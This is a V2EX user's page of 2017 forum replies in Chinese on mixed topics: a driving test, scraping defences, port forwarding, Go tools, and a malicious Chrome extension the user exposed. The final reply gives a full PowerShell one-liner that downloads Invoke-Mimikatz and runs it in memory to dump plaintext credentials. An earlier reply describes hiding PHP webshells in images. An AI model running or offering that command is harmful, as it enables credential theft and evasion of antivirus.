V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  anoymoux  ›  全部回复第 1 页 / 共 6 页
回复总数  105
1  2  3  4  5  6  
2017-12-14 16:33:18 +08:00
回复了 zoneself 创建的主题 PHP 发现图片里含有一句话木马,含有木马的图片到底是怎么运行的
直接留 eval 的后门很容易被检测到,所以把一句话放图片里,然后搭配 include 来用........
1.要
2.是
3.为什么不敢...看不懂你的逻辑,难道一个女生太漂亮,你就不敢喜欢她吗?简单重复的事情会让人变得平庸,养成知难而上的习惯!
2017-12-01 17:41:50 +08:00
回复了 isno 创建的主题 汽车 科目三,两次不过,郁闷了
没过最好,这样过了是对自己和别人不负责任
2017-11-10 12:56:48 +08:00
回复了 depress 创建的主题 北京 充分感受到了中国严重的老龄化
早高峰买菜,晚高峰去跳广场舞...
2017-10-09 16:56:09 +08:00
回复了 chen2016 创建的主题 程序员 写爬虫的时候你遇到过哪些厉害的反爬手段?
<ul>
<li>A</li>
<li>B</li>
<li>C</li>
<li>X</li>
...
...
</ul>

你需要的数据是 X,但是他会生成很多的垃圾数据 A,B,C 等等..X 出现的位置是随机的,而且 A,B,C 等垃圾数据的格式跟 X 相同,无法用正则区分.
然后每个 li 都有一个随机的 class 属性,用动态生成的 css 样式控制只显示 X,其他的隐藏掉....
另外 css 用了继承,嵌套还有复杂的计算等等
2017-09-29 10:30:56 +08:00
回复了 usedname 创建的主题 全球工单系统 提醒大家千万不要使用同花顺这个 APP
不一定是同花顺卖的...
我用浏览器隐身模式在租房网站逛了一下,没有登录任何网站,5 分钟之后收到中介电话,问我是不是在找房子...日了狗了
2017-09-26 20:25:20 +08:00
回复了 meisei81 创建的主题 程序员 本地域名映射本地服务(非 80 端口)
hosts:
www.a.com 127.0.0.1

windows :
netsh interface portproxy add v4tov4 listenport=80 connectaddress=127.0.0.1 connectport=12345
linux
iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 12345
Mac:
sudo ipfw add 1 forward 127.0.0.1,12345 ip from any to any 80 in
2017-09-26 07:40:00 +08:00
回复了 Les1ie 创建的主题 大学 问一下各位大学里面的网络带宽, ipv6
免费,不限流量,公网 IP,无墙,下载 YouTube 视频 60MB/s+
2017-09-22 10:45:46 +08:00
回复了 anoymoux 创建的主题 浏览器 大家注意了 Chrome 的插件 User-Agent Switcher 是个木马
@ariza 尴尬..还涨了 5 万用户...
2017-09-20 20:45:13 +08:00
回复了 zddewe 创建的主题 DNS DNS 污染相关问题
2017-09-10 16:46:05 +08:00
回复了 anoymoux 创建的主题 浏览器 大家注意了 Chrome 的插件 User-Agent Switcher 是个木马
@redsonic 费了那么大劲把代码藏在图片里,怎么可能执行一下就返回了...你把那一行提取出来 debug 跟踪一下就明白了,下面两段代码是解密出来的
https://pastebin.com/ZYd82Hkm
https://pastebin.com/gXV094wm
虽然混淆了,但是还是很容易看出木马行为的...这作者还是挺狡猾的,刚安装之后不会触发监控模块,24 小时之后才会.
另外 chrome 的 F12 network 里看不到插件发送的请求,这也是很多恶意插件能够存在这么长时间原因...如果想看某一个插件发送的请求,在 chrome://extensions/点击插件->背景页,选择 network 就能看到了
2017-09-09 09:06:52 +08:00
回复了 anoymoux 创建的主题 浏览器 大家注意了 Chrome 的插件 User-Agent Switcher 是个木马
唉,这个插件我装了几年了,想想这几年都在这个俄罗斯黑客的监控之下,挺恶心的...
2017-09-09 09:00:46 +08:00
回复了 anoymoux 创建的主题 浏览器 大家注意了 Chrome 的插件 User-Agent Switcher 是个木马
@dong3580 firefox 也不安全,这家伙写的插件大部分都提供了 firefox,opera 版本的,我列出的这几个仅在 chrome 平台就有超过 100 万用户
2017-09-08 22:48:07 +08:00
回复了 xiejc 创建的主题 分享发现 要矿难了,收显卡
比特币不会消失,价值另说,现在明显过热,国内贡献 90%的交易量,影响肯定很大,跌倒 2000 也不夸张...
2017-09-01 12:18:23 +08:00
回复了 eyp82 创建的主题 Go 编程语言 大家有没有用 Go 开发自用小工具的, 感觉适不适合?
适合,不依赖环境,非常方便而且性能超高,之前用 python 写的小工具 1 千个请求每秒,用 Go 重写了,能把带宽跑满...
2017-08-30 19:30:33 +08:00
回复了 kiari 创建的主题 问与答 弱弱地问下,,有没有人见过内存病毒的?
举个例子:Mimikatz 获取明文密码,如果直接下载执行会被杀软删除,用下面的命令就可以在内存中执行,无文件产生
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m"
1  2  3  4  5  6  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   3004 人在线   最高记录 6543   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 50ms · UTC 15:02 · PVG 23:02 · LAX 08:02 · JFK 11:02
Developed with CodeLauncher
♥ Do have faith in what you're doing.